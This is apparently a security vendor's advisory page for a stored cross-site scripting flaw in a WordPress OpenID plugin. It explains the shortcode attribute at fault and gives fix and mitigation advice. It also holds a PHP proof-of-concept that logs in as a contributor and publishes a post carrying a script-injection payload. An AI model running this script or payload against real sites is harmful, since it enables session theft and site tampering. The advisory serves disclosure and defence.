Atomic Edge analysis of CVE-2026-1824 (metadata-based):
The vulnerability is a stored cross-site scripting (XSS) flaw in the Infomaniak Connect for OpenID WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The description states the vulnerability exists in the ‘endpoint_login’ parameter of the ‘infomaniak_connect_generic_auth_url’ shortcode. Atomic Edge research indicates the plugin likely registers this shortcode via the WordPress add_shortcode() function. The shortcode handler probably accepts user-supplied attributes without proper sanitization, then outputs them directly without escaping. Attackers with Contributor-level permissions (or higher) can create or edit posts containing the malicious shortcode. When WordPress renders the post, the injected JavaScript executes in visitors’ browsers. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) confirms network accessibility, low attack complexity, low privilege requirements, no user interaction, and scope change with low confidentiality/integrity impact. The fix likely requires adding input sanitization using sanitize_text_field() or similar functions when processing shortcode attributes, and output escaping using esc_url() or esc_attr() before echoing the ‘endpoint_login’ value. Exploitation allows attackers to steal session cookies, perform actions as authenticated users, or deface websites. The vulnerability is stored, making it persistent across page views.
CVE-2026-1824: Infomaniak Connect for OpenID <= 1.0.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (infomaniak-connect-openid)
CVE-2026-1824
infomaniak-connect-openid
1.0.2
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1824 - Infomaniak Connect for OpenID <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
* Proof-of-concept for CVE-2026-1824
* Assumptions:
* 1. Target site has vulnerable plugin (<=1.0.2) installed
* 2. Attacker has Contributor-level credentials
* 3. Shortcode 'infomaniak_connect_generic_auth_url' accepts 'endpoint_login' attribute
* 4. Plugin outputs attribute value without proper escaping
*/
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: JavaScript that steals cookies (basic example)
$payload = '"><script>alert(document.cookie)</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check login success by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$admin_response = curl_exec($ch);
if (strpos($admin_response, 'wp-admin-bar') !== false) {
// Extract nonce for post creation (simplified - real implementation needs parsing)
// This example assumes we can create a post with the malicious shortcode
$post_data = [
'post_title' => 'Test Post with XSS',
'content' => '[infomaniak_connect_generic_auth_url endpoint_login="' . $payload . '"]',
'publish' => 'Publish',
'post_type' => 'post'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
if (strpos($post_response, 'Post published') !== false || strpos($post_response, 'Post updated') !== false) {
echo "Exploit successful. Malicious shortcode inserted.";
} else {
echo "Failed to create post. May need nonce or different parameters.";
}
} else {
echo "Login failed. Check credentials.";
}
curl_close($ch);
?>Frequently Asked Questions
What is CVE-2026-1824?
Understanding the vulnerabilityCVE-2026-1824 is a stored cross-site scripting (XSS) vulnerability in the Infomaniak Connect for OpenID plugin for WordPress. It allows authenticated users with Contributor-level access or higher to inject malicious scripts via the ‘endpoint_login’ parameter of the infomaniak_connect_generic_auth_url shortcode.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization and output escaping in the shortcode handler. When an attacker with the necessary permissions injects malicious JavaScript into the ‘endpoint_login’ parameter, it gets executed in the browsers of users who view the affected page.
Who is affected by CVE-2026-1824?
Identifying impacted usersAny WordPress site using the Infomaniak Connect for OpenID plugin version 1.0.2 or earlier is at risk. Specifically, authenticated users with Contributor-level access or higher can exploit this vulnerability to inject scripts.
How can I check if my site is vulnerable?
Verification stepsCheck the version of the Infomaniak Connect for OpenID plugin installed on your WordPress site. If it is version 1.0.2 or earlier, your site is vulnerable. Additionally, review user roles to identify any Contributors or higher who could exploit this vulnerability.
What is the severity level of this vulnerability?
Understanding the risk classificationCVE-2026-1824 has a medium severity rating with a CVSS score of 6.4. This indicates that while the vulnerability is not critical, it poses a significant risk that could lead to unauthorized actions or data theft if exploited.
How can I mitigate the risk of this vulnerability?
Recommended actionsTo mitigate the risk, update the Infomaniak Connect for OpenID plugin to the latest version that addresses this vulnerability. Additionally, review user permissions and limit access for Contributor-level users if possible.
What steps should I take to fix the vulnerability?
Implementing a solutionThe primary fix involves updating the plugin to a secure version. For developers, ensure that input from the ‘endpoint_login’ parameter is properly sanitized using functions like sanitize_text_field() and that output is escaped using esc_url() or esc_attr() before rendering.
What does the CVSS vector indicate?
Interpreting the scoreThe CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N indicates that the vulnerability is network-accessible, has low attack complexity, requires low privileges, does not need user interaction, and can impact confidentiality and integrity but not availability.
What is the proof of concept demonstrating?
Understanding the exploit exampleThe proof of concept provided illustrates how an attacker can exploit the vulnerability by logging into a vulnerable WordPress site and injecting a malicious script through the shortcode. It serves as a practical example of how the vulnerability can be exploited in real-world scenarios.
Can this vulnerability lead to data theft?
Potential consequencesYes, if exploited, this vulnerability can allow attackers to steal session cookies or perform actions on behalf of authenticated users. This could lead to unauthorized access to sensitive information or manipulation of site content.
What should I do if I cannot update the plugin immediately?
Temporary measuresIf immediate updates are not possible, consider disabling the plugin until a secure version is available. Additionally, review user roles and limit access to only trusted users to reduce the risk of exploitation.
How can I educate my team about this vulnerability?
Raising awarenessShare this information with your team, highlighting the importance of keeping plugins updated and understanding the implications of vulnerabilities like CVE-2026-1824. Conduct training sessions on secure coding practices and vulnerability management.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations
